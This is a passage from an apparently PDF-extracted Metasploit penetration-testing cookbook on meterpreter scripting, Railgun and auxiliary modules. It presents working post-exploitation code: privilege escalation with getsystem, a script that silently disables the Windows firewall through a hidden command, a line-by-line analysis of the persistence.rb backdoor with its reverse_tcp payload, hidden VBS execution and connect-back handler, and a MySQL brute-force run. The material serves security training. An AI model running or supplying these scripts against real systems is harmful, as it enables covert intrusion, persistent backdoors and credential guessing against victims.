"text": "Advanced Meterpreter Scripting\n152\nHow to do it...\nLet us start with launching an interactive Ruby shell at the meterpreter. Here, I am assuming \nthat we have already exploited the target (Windows 7) and have an active meterpreter session.\nThe Ruby shell can be launched by using the irb command.\nmeterpreter > irb\n[*] Starting IRB shell\n[*] The 'client' variable holds the meterpreter client\nNow we are into the Ruby shell and can execute our Ruby scripts. Let us start with a basic \naddition of two numbers.\n>> 2+2\n=> 4\nSo our shell is working fine and can interpret the statements. Let us perform a complex \noperation now. Let us create a hash and store some values in it along with the keys. \nThen, we will delete the values conditionally. The script will look as follows:\nx = { \"a\" => 100, \"b\" => 20 }\nx.delete_if { |key, value| value < 25 }\nprint x.inspect\nThe script is simple to understand. In the first line, we created keys (a and b) and assigned \nthem values. Then, in the next line we added a condition which deletes any hash element \nwhose value is less than 25.\nLet's look at some print API calls which will be useful to us while writing meterpreter scripts. \nf\nf\nprint_line(\"message\"): This call will print the output and add a carriage return \nat the end.\nf\nf\nprint_status(\"message\"): This call is used most often in the scripting language. \nThis call will provide a carriage return and print the status of whatever is executing, \nwith a [*] prefixed at the beginning.\n>> print_status(\"HackingAlert\")\n[*] HackingAlert\n=> nil\nf\nf\nprint_good(\"message\"): This call is used to provide a result of any operation. \nThe message is displayed with a [+] prefixed at the beginning indicating that the \naction is successful.\n>> print_good(\"HackingAlert\")\n[+] HackingAlert\n=> nil\n"
},
{
"page_number": 168,
"text": "Chapter 6\n153\nf\nf\nprint_error(\"message\"): This call is used to display an error message that \nmay occur during script execution. The message is displayed with a [-] prefixed at the \nbeginning of the error message.\n>> print_error(\"HackingAlert\")\n[-] HackingAlert\n=> nil\nThe reason why I discussed these different print calls is that they are widely used while \nwriting meterpreter scripts in respective situations. You can find documentations related to \nmeterpreter API in /opt/framework3/msf3/documentation. Go through them in order \nto have a clear and detailed understanding. You can also refer to /opt/framework3/msf3/\nlib/rex/post/meterpreter where you can find many scripts related to meterpreter API.\nWithin these scripts are the various meterpreter core, desktop interaction, privileged \noperations, and many more commands. Review these scripts to become intimately \nfamiliar with how meterpreter operates within a compromised system.\nMeterpreter mixins\nMeterpreter mixins are Metasploit specific irb calls. These calls are not available in irb but \nthey can be used to represent the most common tasks while writing meterpreter scripts. They \ncan simplify our task of writing meterpreter specific scripts. Let us see some useful mixins:\nf\nf\ncmd_exec(cmd): This executes the given command as hidden and channelized. \nThe output of the command is provided as a multiline string.\nf\nf\neventlog_clear(evt = \"\"): This clears a given event log or all event logs if none \nis given. It returns an array of event logs that were cleared.\nf\nf\neventlog_list(): This enumerates the event logs and returns an array containing \nthe names of the event logs.\nf\nf\nfile_local_write(file2wrt, data2wrt): This writes a given string to a \nspecified file.\nf\nf\nis_admin?(): This identifies whether or not the user is an admin. Returns true if the \nuser is an admin and false if not.\nf\nf\nis_uac_enabled?(): This determines whether User Account Control (UAC) \nis enabled on the system.\nf\nf\nregistry_createkey(key): This creates a given registry key and returns true \nif successful.\nf\nf\nregistry_deleteval(key,valname): This deletes a registry value given the key \nand value name. It returns true if successful.\nf\nf\nregistry_delkey(key): This deletes a given registry key and returns true \nif successful.\n"
},
{
"page_number": 169,
"text": "Advanced Meterpreter Scripting\n154\nf\nf\nregistry_enumkeys(key): This enumerates the sub keys of a given registry key \nand returns an array of sub keys.\nf\nf\nregistry_enumvals(key): This enumerates the values of a given registry key and \nreturns an array of value names.\nf\nf\nregistry_getvaldata(key,valname): This returns the data of a given registry \nkey and its value.\nf\nf\nservice_create(name, display_name, executable_on_\nhost,startup=2): This function is used for the creation of a service that runs its \nown process. Its parameters are the service name as a string, the display name as a \nstring, the path of the executable on the host that will execute at start-up as a string, \nand the start-up type as an integer: 2 for Auto, 3 for Manual, or 4 for Disable\nf\nf\nservice_delete(name): This function is used for deleting a service by deleting \nthe key in the registry.\nf\nf\nservice_info(name): This gets the Windows service information. The information \nis returned in a hash with the display name, start-up mode, and command executed \nby the service. The service name is case sensitive. Hash keys are Name, Start, \nCommand, and Credentials.\nf\nf\nservice_list(): This lists all the Windows services present. It returns an array \ncontaining the services' names.\nf\nf\nservice_start(name): This function is used for the service start-up. It returns \n0 if the service is started, 1 if the service is already started, and 2 if the service \nis disabled.\nf\nf\nservice_stop(name): This function is used for stopping a service. It returns 0 if \nthe service is stopped successfully, 1 if the service is already stopped or disabled, \nand 2 if the service cannot be stopped.\nThis was a quick reference to some important meterpreter mixins. Using these mixins can \nreduce the complexity of our scripts. We will understand their usage in the next few recipes \nwhere we will be creating and analyzing meterpreter scripts.\nHow it works...\nThe meterpreter API simply creates a mini Ruby interpreter that can understand and interpret \nRuby instructions. The major advantage of using API is that it gives us the flexibility to perform \nour own operations. We cannot have commands for all operations. There can be situations \nwhere we may need specific scripts to perform our task. This is where APIs can be handy.\n"
},
{
"page_number": 170,
"text": "Chapter 6\n155\nRailgun – converting Ruby into a weapon\nIn the previous recipe, we saw the use of the meterpreter API to run Ruby scripts. Let us take \nthat a step ahead. Suppose we want to make remote API calls on the victim machine then \nwhat can be the simplest method? Railgun is the obvious answer. It is a meterpreter extension \nthat allows an attacker to call DLL functions directly. Most often, it is used to make calls to the \nWindows API, but we can call any DLL on the victim's machine.\nGetting ready\nTo start using Railgun, we will require an active meterpreter session on our target \nmachine. To start the Ruby interpreter, we will use the irb command as discussed \nin the previous recipe.\nmeterpreter>irb\n>> \nHow to do it...\nBefore we move into calling DLLs, let us first see the essential steps to follow in order \nto get the best out of Railgun.\n1.\t Identify the function(s) you wish to call.\n2.\t Locate the function on http://msdn.microsoft.com/en-us/library/\naa383749(v=vs.85).aspx.\n3.\t Check the library (DLL) in which the function is located (for example, kernel32.\ndll).\n4.\t The selected library function can be called as client.railgun.dll_name.\nfunction_name(arg1, arg2, ...).\nThe Windows MSDN library can be used to identify useful DLLs and functions to call on the \ntarget machine. Let us call a simple IsUserAnAdmin function of shell32.dll and \nanalyze the output.\n>> client.railgun.shell32.IsUserAnAdmin\n=> {\"GetLastError\"=>0, \"return\"=>false} \n"
},
{
"page_number": 171,
"text": "Advanced Meterpreter Scripting\n156\nAs we can see, the function returned false value indicating that the user is not an admin. \nLet us escalate our privilege and try the call again.\nmeterpreter > getsystem\n...got system (via technique 4).\nmeterpreter > irb\n[*] Starting IRB shell\n[*] The 'client' variable holds the meterpreter client\n>> client.railgun.shell32.IsUserAnAdmin\n=> {\"GetLastError\"=>0, \"return\"=>true}\nThis time the function returned true indicating that our privilege escalation was successful \nand now we are working as the system admin. Railgun provides us with the flexibility to easily \nperform those tasks which are not present in the form of modules. So, we are not just limited \nto those scripts and modules that the framework provides us with, in fact, we can make calls \non demand.\nYou can further extend this call into a small Ruby script with error checking:\nprint_status \"Running the IsUserAnAdmin function\"\nstatus = client.railgun.shell32.IsUserAnAdmin()\n \nif status['return'] == true then\n print_status 'You are an administrator'\nelse\n print_error 'You are not an administrator'\nend\nUsing Railgun can be a very powerful and exciting experience. You can practice your own calls \nand scripts to analyze the outputs. However, what if the DLL or the function you want to call is \nnot a part of the Railgun definition. In that case, Railgun also provides you with the flexibility to \nadd your own functions and DLLs to Railgun. We will deal with it in our next recipe.\nHow it works...\nRailgun is a particular Ruby command interpreter that can be used to make remote DLL calls \nto the compromised target. Remote DLL calls are an important process in penetration testing \nas it gives us the command over the compromised target to execute any system instruction \nwith full privilege.\n"
},
{
"page_number": 172,
"text": "Chapter 6\n157\nThere's more...\nRailgun is an interesting tool that can enhance the process of penetration testing. Let us find \nout some more information about Railgun.\nRailgun definitions and documentation\nRailgun currently supports ten different Windows API DLLs. You can find their definitions in \nthe following folder: pentest/exploits/framework3/lib/rex/post/meterpreter/\nextensions/stdapi/railgun/def\nApart from this, you can also read the Railgun documentation from the following location:\n/opt/framework3/msf3/external/source/meterpreter/source/extensions/\nstdapi/server/railgun/railgun_manual.pdf\nAdding DLL and function definition to \nRailgun\nIn the previous recipe, we focused on calling Windows API DLLs through Railgun. In this \nrecipe, we will focus on adding our own DLL and function definitions to Railgun. In order to do \nthis, we should have an understanding of Windows DLLs. The Railgun manual can be helpful \nin giving you a quick idea about different Windows constants that can be used while adding \nfunction definitions.\nHow to do it...\nAdding a new DLL definition to Railgun is an easy task. Suppose you want to add a DLL that \nships with Windows but it is not present in your Railgun, then you can create a DLL definition \nunder pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/\nstdapi/railgun/def and name it as def_dllname.rb.\n1.\t Consider the example of adding a shell32.dll definition into Railgun. We can start with \nadding the following lines of codes:\nmodule Rex\nmodule Post\nmodule Meterpreter\nmodule Extensions\nmodule Stdapi\nmodule Railgun\nmodule Def\nclass Def_shell32\n"
},
{
"page_number": 173,
"text": "Advanced Meterpreter Scripting\n158\n\t\ndef self.create_dll(dll_path = 'shell32')\n\t\n\t\ndll = DLL.new(dll_path, ApiConstants.manager)\n......\nend\nend\nend; end; end; end; end; end; end\n2.\t Saving this code as def_shell32.dll will create a Railgun definition for \nshell32.dll.\n3.\t The next step is to add functions to the DLL definition. If you take a look at the \ndef_shell32.dll script in Metasploit you will see that the IsUserAnAdmin \nfunction is already added into it.\ndll.add_function('IsUserAnAdmin', 'BOOL', [])\nThe function simply returns a Boolean True or False, depending upon the condition. \nSimilarly, we can add our own function definition in shell32.dll. Consider the example \nof adding the OleFlushClipboard() function. This will flush any data that is \npresent on the Windows clipboard.\n4.\t Adding the following line of code in the shell32.dll definition will serve our purpose:\ndll.add_function('OleFlushClipboard' , 'BOOL' , [])\nHow it works...\nTo test the function, save the file and go back to the meterpreter session to check if the \nfunction executes successfully or not.\n>> client.railgun.shell32.OleFlushClipboard\n=> {\"GetLastError\"=>0, \"return\"=>true}\nAlternately, you can also add the DLLs and functions directly to Railgun using add_dll \nand add_function. Here is a complete script which checks for the availability of shell32. \ndll and the OleFlushClipboard function and if they are not present then they are added \nusing the add_dll and add_function calls.\nif client.railgun.get_dll('shell32') == nil\n print_status \"Adding Shell32.dll\"\n client.railgun.add_dll('shell32','C:\\\\WINDOWS\\\\system32\\\\shell32.\ndll')\nelse\n print_status \"Shell32 already loaded.. skipping\"\n"
},
{
"page_number": 174,
"text": "Chapter 6\n159\nend\n \nif client.railgun.shell32.functions['OleFlushClipboard'] == nil\n print_status \"Adding the Flush Clipboard function\"\n client.railgun.add_function('shell32', 'OleFlushClipboard', \n'BOOL', [])\nelse\n print_status \"OleFlushClipboard already loaded.. skipping\"\nend\nThis was a short demonstration of using Railgun as a powerful tool to call Windows APIs \ndepending on our need. You can look for various useful Windows API calls in the MSDN library, \nand add them into Railgun and enhance the functionality of your framework. It can be used to \ncall any DLL that is residing on the target machine. In the next recipe, we will move ahead to \ndevelop our own meterpreter scripts. \nBuilding a \"Windows Firewall De-activator\" \nmeterpreter script\nSo far we have used several meterpreter scripts such as killav.rb and persistence.\nrb. Let's start discussing about developing our own meterpreter script. Ruby knowledge is \nessential for writing any module in Metasploit. You should have basic understanding of Ruby. \nThere is not enough documentation available to learn directly about meterpreter scripting. \nThe simplest and best practice is to learn Ruby language and side by side keep looking at \nthe codes of various available modules. You can also read the Metasploit developer guide to \nunderstand about the different libraries provided by the framework which you can use while \nwriting your own modules. The documentation can be found at http://dev.metasploit.\ncom/redmine/projects/framework/wiki/DeveloperGuide.\nThe script we will develop here is a Windows Vista/7 firewall de-activator script. It will make \nuse of the Windows command called netsh and meterpreter will execute the command on \nthe target machine by using a mixin called cmd_exec().\nGetting ready\nMeterpreter scripts run in context with the exploited client so it becomes easier for you to \njust focus on the task which you want to perform through your script. You don't have to worry \nabout the connectivity or any other parameters. Let us look at some important guidelines that \nshould be kept in mind while writing meterpreter scripts\nf\nf\nAvoiding global variables: This is a general principal for coding on any framework. \nUse of global variables should be avoided as they can interfere with the framework \nvariables. Use only instance, local and constant variables.\n"
},
{
"page_number": 175,
"text": "Advanced Meterpreter Scripting\n160\nf\nf\nUse of comments: Comments are essential while writing codes. This can help you \nkeep a track of which part is responsible for a particular action.\nf\nf\nIncluding parameters: You might have noticed in several recipes how we passed \nparameters along with the script. The most elementary, yet helpful, parameter is –h \nor the help option.\nf\nf\nPrinting results: Printing the result of the operation can prove whether the execution \nof a script was a success or failure. Using different printing calls as print_status, \nprint_error, and so on should be used extensively to display relevant information.\nf\nf\nPlatform validation: Make sure that you validate the platform on which you want your \nscript to perform an action. \nf\nf\nMaintaining the file convention: Once you have completed writing the script, save \nit under /pentest/exploits/framework3/scripts/meterpreter. Following \nthe framework file convention can avoid any conflicts.\nf\nf\nUse of mixins: Mixins are an important concept in meterpreter. Using mixins we can \nmake our script look simpler and easier.\nYou should keep these guidelines in mind while writing meterpreter scripts.\nLet us open any text editor to start writing the Ruby script. If you are working on BackTrack \nthen you can use the Gedit text editor.\nHow to do it...\n1.\t Type the following lines of code in the text editor. Before moving on to the explanation \nsection, give a thorough look at the script and try to figure out what each line means. \nThe script is easy to catch.\n# Author: Abhinav Singh\n# Windows Firewall De-Activator\n#Option/parameter Parsing\nopts = Rex::Parser::Arguments.new(\n\t\n\"-h\" => [ false, \"Help menu.\" ]\n)\nopts.parse(args) { |opt, idx, val|\n\t\ncase opt\n\t\nwhen \"-h\"\n\t\n\t\nprint_line \"Meterpreter Script for disabling the \nDefault windows Firelwall\"\n\t\n\t\nprint_line \"Let's hope it works\"\n\t\n\t\nprint_line(opts.usage)\n\t\n\t\nraise Rex::Script::Completed\n"
},
{
"page_number": 176,
"text": "Chapter 6\n161\n\t\nend\n}\n# OS validation and command execution\nunsupported if client.platform !~ /win32|win64/i\n\t\nend\n\t\nbegin\n\t\n\t\nprint_status(\"disabling the default firewall\")\n\t\n\t\ncmd_exec('cmd /c','netsh advfirewall set AllProfiles \nstate off',5)\nOnce you have typed the code, save it as myscript.rb under /pentest/\nexploits/framework3/scripts/meterpreter.\n2.\t To execute this script, we will need a meterpreter session. Ruby scripts can be \nexecuted using the run command. However, before using the script, make sure \nyou have system privileges on the target machine.\nmeterpreter > getsystem\n...got system (via technique 4).\nmeterpreter > run myscript.rb\n[*] disabling the default firewall\nmeterpreter >\nBingo! Successful execution of the script will silently disable the default firewall. The execution \nof the command occurs in the background so the target user remains unaware of it. Let us \nnow understand the script in detail.\nHow it works...\nLet us analyze each segment of the script.\nopts = Rex::Parser::Arguments.new(\n\t\n\"-h\" => [ false, \"Help menu.\" ]\n)\nopts.parse(args) { |opt, idx, val|\n\t\ncase opt\n\t\nwhen \"-h\"\n\t\n\t\nprint_line \"Meterpreter Script for disabling the Default \nWindows Firewall\"\n\t\n\t\nprint_line \"Let's hope it works\"\n"
},
{
"page_number": 177,
"text": "Advanced Meterpreter Scripting\n162\n\t\n\t\nprint_line(opts.usage)\n\t\n\t\nraise Rex::Script::Completed\n\t\nend\n}\nThese lines of code are nothing but the options that we can pass along with the script. In this \nscript, the only option available to us is the –h parameter which displays the script usage \nmessage. You can save this piece of code as a template for creating options in your scripts. \nYou will encounter several code snippets which can be directly used in your own script.\nThe script starts with creation of a hash (opts) which includes the Rex library which is the \nshort form for the Ruby Extensions Library. The only key is –h. The usage value is set to 'false' \nwhich means that this is an optional parameter for the script. The next few lines of code \nmatch the options provided with the script and jumps to the particular case to display the \nmessage using print_line(). In our case, we have used only one option (-h).\nunsupported if client.platform !~ /win32|win64/i\n\t\nbegin\n\t\n\t\nprint_status(\"disabling the default firewall\")\n\t\n\t\ncmd_exec('cmd /c','netsh advfirewall set AllProfiles state \noff',5)\n\t\n\t\nend\nThis part of the script is operation specific. It starts with verifying the client operating system. \nThen it uses a meterpreter mixin cmd_exec() which can execute commands as hidden and \nchannelized. The command to be executed is netsh advfirewall set AllProfiles \nstate off. The mixin evokes this command on the client machine in context with the \ncommand prompt and its successful execution disables the windows firewall.\nYou can play with the script by adding more functionalities and trying different possibilities. \nThe more you experiment, the better you will learn.\nThis was a short demonstration on how to build a meterpreter script. In the next recipe, \nwe will look at an advanced meterpreter script and understand it in detail.\nThere's more...\nLet us extend our discussion to reusing the codes for faster and efficient penetration testing.\nCode re-use\nCode re-use can be an effective technique in building your own scripts. You can find some \nreadymade functions such as creating multi handler, setting up parameter checks, adding \npayloads. You can use them directly in your code and leverage its functionality. Remember \nthat the best way to learn about meterpreter scripting is by looking at the built-in scripts.\n"
},
{
"page_number": 178,
"text": "Chapter 6\n163\nAnalyzing an existing meterpreter script\nNow that we have learned how to build our own script, let us move ahead and analyze an \nexisting script that performs some advanced tasks. Once you are able to read an existing \nscript completely, you can implement the functions from them according to your need. \nCode re-use is an effective technique to increase the optimization of codes.\nHow to do it...\nTo view an existing script, browse to pentest/exploits/framework3/scripts/\nmeterpreter.\nYou can find all the available meterpreter scripts in this folder. We will be analyzing the \npersistence.rb script which helps in setting up a backdoor on the target user. We have \ndiscussed the usage of this script in the previous chapter. Here we will look under the hood \nof how this script functions.\nHow it works...\nLet us analyze each section of the code one by one.\n# Default parameters for payload\nrhost = Rex::Socket.source_address(\"1.2.3.4\")\nrport = 4444\ndelay = 5\ninstall = false\nautoconn = false\nserv = false\naltexe = nil\ntarget_dir = nil\npayload_type = \"windows/meterpreter/reverse_tcp\"\nscript = nil\nscript_on_target = nil\nThe code starts with declaring variables which are used in the script. You can see some of \nthe common variables such as rhost, rport, payload_type which we have been using \nthroughout the exploitation process. \n@exec_opts = Rex::Parser::Arguments.new(\n\t\n\"-h\" => [ false, \"This help menu\"],\n\t\n\"-r\" => [ true, \"The IP of the system running Metasploit \nlistening for the connect back\"],\n\t\n\"-p\" => [ true, \"The port on the remote host where Metasploit \nis listening\"],\n\t\n\"-i\" => [ true, \"The interval in seconds between each \n"
},
{
"page_number": 179,
"text": "Advanced Meterpreter Scripting\n164\nconnection attempt\"],\n\t\n\"-X\" => [ false, \"Automatically start the agent when the system \nboots\"],\n\t\n\"-U\" => [ false, \"Automatically start the agent when the User \nlogs on\"],\n\t\n\"-S\" => [ false, \"Automatically start the agent on boot as a \nservice (with SYSTEM privileges)\"],\n\t\n\"-A\" => [ false, \"Automatically start a matching multi/handler \nto connect to the agent\"],\n\t\n\"-L\" => [ true, \"Location in target host where to write payload \nto, if none \\%TEMP\\% will be used.\"],\n\t\n\"-T\" => [ true, \"Alternate executable template to use\"],\n\t\n\"-P\" => [ true, \"Payload to use, default is windows/\nmeterpreter/reverse_tcp.\"]\n)\nmeter_type = client.platform\nThe next part of the script consists of different parameters (flags) that are required to pass \nalong with the script. The parameters having a true value are compulsory flags whose values \nhave to be passed by the penetration tester. Parameters with a false value are optional.\n# Usage Message Function\n#--------------------------------------------------------------------\n-----------\ndef usage\n\t\nprint_line \"Meterpreter Script for creating a persistent backdoor \non a target host.\"\n\t\nprint_line(@exec_opts.usage)\n\t\nraise Rex::Script::Completed\nend\n# Wrong Meterpreter Version Message Function\n#--------------------------------------------------------------------\n-----------\ndef wrong_meter_version(meter = meter_type)\n\t\nprint_error(\"#{meter} version of Meterpreter is not supported with \nthis Script!\")\n\t\nraise Rex::Script::Completed\nend\nThe next section of the script comprises of function declaration. The first two functions \nare generally available in all meterpreter scripts. The usage function is used to display \nan introductory message of the script. It contains a short description about the use of \nthe script. The wrong_meter_version() is used to verify whether the meterpreter \nversion is supported by the script or not. Some scripts do not support the older versions \nof meterpreter so a validation can be helpful.\n"
},
{
"page_number": 180,
"text": "Chapter 6\n165\n# Function for Creating the Payload\n#--------------------------------------------------------------------\n-----------\ndef create_payload(payload_type,lhost,lport)\n\t\nprint_status(\"Creating Payload=#{payload_type} LHOST=#{lhost} \nLPORT=#{lport}\")\n\t\npayload = payload_type\n\t\npay = client.framework.payloads.create(payload)\n\t\npay.datastore['LHOST'] = lhost\n\t\npay.datastore['LPORT'] = lport\n\t\nreturn pay.generate\nend\nThe next function is about creating a payload. You can directly use this function in your script \nif you want to create a payload (power of code reuse). The function create_payload() \ntakes up two values namely payload_type and lport. If you remember the variable \ndeclaration section, then these two variables have been initialized with some default values.\nThe pay = client.framework.payloads.create(payload) call allows us to create \na payload from the Metasploit framework.\nOne thing to note in this snippet is pay.datastore['LHOST'] = lhost and pay.\ndatastore['LPORT'] = lport. The datastore is simply a hash of values that may be \nused by modules or the framework itself to reference programmer or user controlled values.\n # Function for Creating persistent script\n#--------------------------------------------------------------------\n-----------\ndef create_script(delay,altexe,raw)\n\t\nif altexe\n\t\n\t\nvbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, \nraw, {:persist => true, :delay => delay, :template => altexe})\n\t\nelse\n\t\n\t\nvbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, \nraw, {:persist => true, :delay => delay})\n\t\nend\n\t\nprint_status(\"Persistent agent script is #{vbs.length} bytes \nlong\")\n\t\nreturn vbs\nend\n"
},
{
"page_number": 181,
"text": "Advanced Meterpreter Scripting\n166\nThe next function is for creating persistent scripts. The scripts are created depending upon \nthe payload and other parameter values passed along with the script.\n# Function for creating log folder and returning log path\n#--------------------------------------------------------------------\n-----------\ndef log_file(log_path = nil)\n\t\n#Get hostname\n\t\nhost = @client.sys.config.sysinfo[\"Computer\"]\n\t\n# Create Filename info to be appended to downloaded files\n\t\nfilenameinfo = \"_\" + ::Time.now.strftime(\"%Y%m%d.%M%S\")\n\t\n# Create a directory for the logs\n\t\nif log_path\n\t\n\t\nlogs = ::File.join(log_path, 'logs', 'persistence', \nRex::FileUtils.clean_path(host + filenameinfo) )\n\t\nelse\n\t\n\t\nlogs = ::File.join(Msf::Config.log_directory, 'persistence', \nRex::FileUtils.clean_path(host + filenameinfo) )\n\t\nend\n\t\n# Create the log directory\n\t\n::FileUtils.mkdir_p(logs)\n\t\n#logfile name\n\t\nlogfile = logs + ::File::Separator + Rex::FileUtils.clean_\npath(host + filenameinfo) + \".rc\"\n\t\nreturn logfile\nend\nThe next function is for creating a log directory for the script. The host = @client.sys.\nconfig.sysinfo[\"Computer\"] call extracts the system info of the compromised target. \nThe directory and filename is created using the Rex::FileUtils library which is responsible for \nperforming file and directory operations. \n# Function for writing script to target host\n#--------------------------------------------------------------------\n-----------\ndef write_script_to_target(target_dir,vbs)\n\t\nif target_dir\n\t\n\t\ntempdir = target_dir\n\t\nelse\n\t\n\t\ntempdir = @client.fs.file.expand_path(\"%TEMP%\")\n\t\nend\n"
},
{
"page_number": 182,
"text": "Chapter 6\n167\n\t\ntempvbs = tempdir + \"\\\\\" + Rex::Text.rand_text_alpha((rand(8)+6)) \n+ \".vbs\"\n\t\nfd = @client.fs.file.new(tempvbs, \"wb\")\n\t\nfd.write(vbs)\n\t\nfd.close\n\t\nprint_good(\"Persistent Script written to #{tempvbs}\")\n\t\nfile_local_write(@clean_up_rc, \"rm #{tempvbs}\\n\")\n\t\nreturn tempvbs\nend\nThis function starts writing files to disk. It saves the various backdoor files in the \nfolders and directories created in the previous function. The Rex::Text.rand_text_\nalpha((rand(8)+6)) + \".vbs\" call generates a random text for the filename to be \ncreated in the temp directory. The fd.write() call writes the files to disk.\n# Function for setting multi handler for autocon\n#--------------------------------------------------------------------\n-----------\ndef set_handler(selected_payload,rhost,rport)\n\t\nprint_status(\"Starting connection handler at port #{rport} for \n#{selected_payload}\")\n\t\nmul = client.framework.exploits.create(\"multi/handler\")\n\t\nmul.datastore['WORKSPACE'] = @client.workspace\n\t\nmul.datastore['PAYLOAD'] = selected_payload\n\t\nmul.datastore['LHOST'] = rhost\n\t\nmul.datastore['LPORT'] = rport\n\t\nmul.datastore['EXITFUNC'] = 'process'\n\t\nmul.datastore['ExitOnSession'] = false\n\t\nmul.exploit_simple(\n\t\n\t\n'Payload' => mul.datastore['PAYLOAD'],\n\t\n\t\n'RunAsJob' => true\n\t\n)\n\t\nprint_good(\"Multi/Handler started!\")\nend\nThis function creates a multi handler to connect back to the attacking system. This is, again, a \ngeneral function which can be used in your script if you want an auto connect back feature by \nsetting a multi handler.\n# Function to execute script on target and return the PID of the \nprocess\n#--------------------------------------------------------------------\n-----------\ndef targets_exec(script_on_target)\n\t\nprint_status(\"Executing script #{script_on_target}\")\n"
},
{
"page_number": 183,
"text": "Advanced Meterpreter Scripting\n168\n\t\nproc = session.sys.process.execute(\"cscript \\\"#{script_on_\ntarget}\\\"\", nil, {'Hidden' => true})\n\t\nprint_good(\"Agent executed with PID #{proc.pid}\")\n\t\nfile_local_write(@clean_up_rc, \"kill #{proc.pid}\\n\")\n\t\nreturn proc.pid\nend\nThis function is responsible for executing the script on the target machine. The persistence \nscript creates vbs scripts on the target machine, so they must be executed in order to open \na connection. The Targets_exec() function solves this purpose. This function can again \nbe used as a general function in your own script if you want to execute scripts on the target \nmachine. The session.sys.process.execute() call is responsible for executing the \nscript and the proc.pid returns the process ID of the backdoor process created.\nThe remaining part of the code is self-explanatory where these functions are called, a clear \nscript is created, and an option check is implemented. This recipe might have given you a \nclear idea of what happens in the background when we execute a meterpreter script. It is very \nessential from a pen tester's point of view to be able to read and modify the codes according \nto the work scenario. This is where the beauty of the open source framework lies. You can \nmake modifications according to your needs and you can learn by directly analyzing the \navailable source codes.\n"
},
{
"page_number": 184,
"text": "7\nWorking with Modules \nfor Penetration \nTesting\nIn this chapter, we will cover:\nf\nf\nWorking with scanner auxiliary modules\nf\nf\nWorking with auxiliary admin modules\nf\nf\nSQL injection and DOS attack modules\nf\nf\nPost-exploitation modules\nf\nf\nUnderstanding the basics of module building\nf\nf\nAnalyzing an existing module\nf\nf\nBuilding your own post-exploitation module\nIntroduction\nIn the first chapter where we discussed about the Metasploit framework basics, we stated that it \nhas a modular architecture. This means that all the exploits, payloads, encoders, and so on are \npresent in the form of modules. Modular architecture makes it easier to extend the functionality \nof the framework. Any programmer can develop his/her own module and port it easily into the \nframework. A complete penetration testing process can include several modules in operation. \nFor example, we start with an exploitation module, then we use a payload module, then we can \nuse several post exploitation modules once the target has been compromised. At last, we can \nalso use different modules to connect to the database and store our findings and results. Even \nthough modules are not very much talked about while working with Metasploit, they form the \ncrux of the framework, so it is essential to have a deep understanding of it.\n"
},
{
"page_number": 185,
"text": "Working with Modules for Penetration Testing\n170\nIn this chapter, we will particularly focus on the pentest/exploits/framework3/\nmodules directory which contains a complete list of useful modules which can ease our task \nof penetration testing. The use of modules is very much similar to what we have been doing so \nfar, but there is a slight difference in the functionality. Later in the chapter, we will also analyze \nsome of the existing modules and finally conclude the chapter by learning how to develop our \nown modules for Metasploit. So let us start our experiments with modules.\nWorking with scanner auxiliary modules\nLet us begin our experimentation with scanner modules. We have already learnt about \nscanning in detail using Nmap. In this recipe, we will analyze some of the ready-made \nscanning modules which ships with the framework. Even though Nmap is a powerful \nscanning tool, still there can be situations where we have to perform a specific type \nof scan, such as scanning for the presence of a MySQL database.\nMetasploit provides us with a complete list of such useful scanners. Let us move ahead \nand practically implement some of them.\nGetting ready\nTo find the list of available scanners, we will have to browse to /pentest/exploits/\nframework3/modules/auxiliary/scanner.\nYou can find a collection of more than 35 useful scan modules which can be used under \nvarious penetration testing scenarios.\nHow to do it...\nLet us start with a basic HTTP scanner. You will see that there are many different HTTP scan \noptions available. We will discuss few of them here.\nConsider the dir_scanner script. This will scan a single host or a complete range \nof networks to look for interesting directory a listings that can be further explored to \ngather information.\nTo start using an auxiliary module, we will have to perform the following steps \nin our msfconsole:\nmsf > use auxiliary/scanner/http/dir_scanner\nmsf auxiliary(dir_scanner) > show options\nModule options:\n"
},
{
"page_number": 186,
"text": "Chapter 7\n171\nThe show options command will list all the available optional parameters that you can pass \nalong with the scanner module. The most important one is the RHOSTS parameter which will \nhelp us in targeting either a single computer or a range of computers in a network.\nHow it works...\nLet us discuss a specific scanner module involving some extra inputs. The mysql_login \nscanner module is a brute force module which scans for the availability of the MySQL server \non the target and tries to login to the database by brute force attacking it:\nmsf > use auxiliary/scanner/mysql/mysql_login \nmsf auxiliary(mysql_login) > show options\nModule options (auxiliary/scanner/mysql/mysql_login):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\nBLANK_PASSWORDS true yes Try blank pas..\nBRUTEFORCE_SPEED 5 yes How fast to..\nPASSWORD no A specific password\nPASS_FILE no File containing..\nRHOSTS yes The target address.\nRPORT 3306 yes The target port..\nSTOP_ON_SUCCESS false yes Stop guessing…\nTHREADS 1 yes The number of..\nUSERNAME no A specific user..\nUSERPASS_FILE no File containing..\nUSER_FILE no File containing..\nVERBOSE true yes Whether to print..\nAs you can see, there are many different parameters that we can pass with this module. \nThe better we leverage the powers of a module, the greater are our chances of successful \npenetration testing. We can provide a complete list of usernames and passwords which the \nmodule can use and try on the target machine.\n"
},
{
"page_number": 187,
"text": "Working with Modules for Penetration Testing\n172\nLet us provide this information to the module:\nmsf auxiliary(mysql_login) > set USER_FILE /users.txt\nUSER_FILE => /users.txt\nmsf auxiliary(mysql_login) > set PASS_FILE /pass.txt\nPASS_FILE => /pass.txt\nNow we are ready to use brute force. The last step will be selecting the target and provide the \nrun command to execute the module:\nmsf auxiliary(mysql_login) > set RHOSTS 192.168.56.101\nRHOSTS => 192.168.56.101\nmsf auxiliary(mysql_login) > run\n[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a\n[*] 192.168.56.101:3306 Trying username:'administrator' with password:''\nThe output shows that the module starts the process by first looking for the presence of the \nMySQL server on the target. Once it has figured out, it starts trying for the combinations of \nusernames and password provided to it through the external text file. This is also one of the \nmost widely used modular operations of Metasploit in the current scenario. A lot of automated \nbrute force modules have been developed to break weak passwords.\nThere's more...\nLet us go through a quick and easy way of generating password files using Metasploit. \nHaving a decent list of password files can be helpful during brute-force penetration testing.\nGenerating passwords using \"Crunch\"\nFor any brute force attack, it is imperative that we have a sizeable list of password files \nwhich we will be using in these types of attacks. Password lists can be procured from online \nresources or the pen-tester has the option of using John The Ripper to generate a password \nlist. Alternatively, one can also use the \"crunch\" utility of Backtrack to generate such a \nlist based on the characters being used. You can find the \"crunch\" utility in /pentest/\npasswords/crunch. In case it is missing in your version of Backtrack, then you can install it \nby passing the following command in the terminal 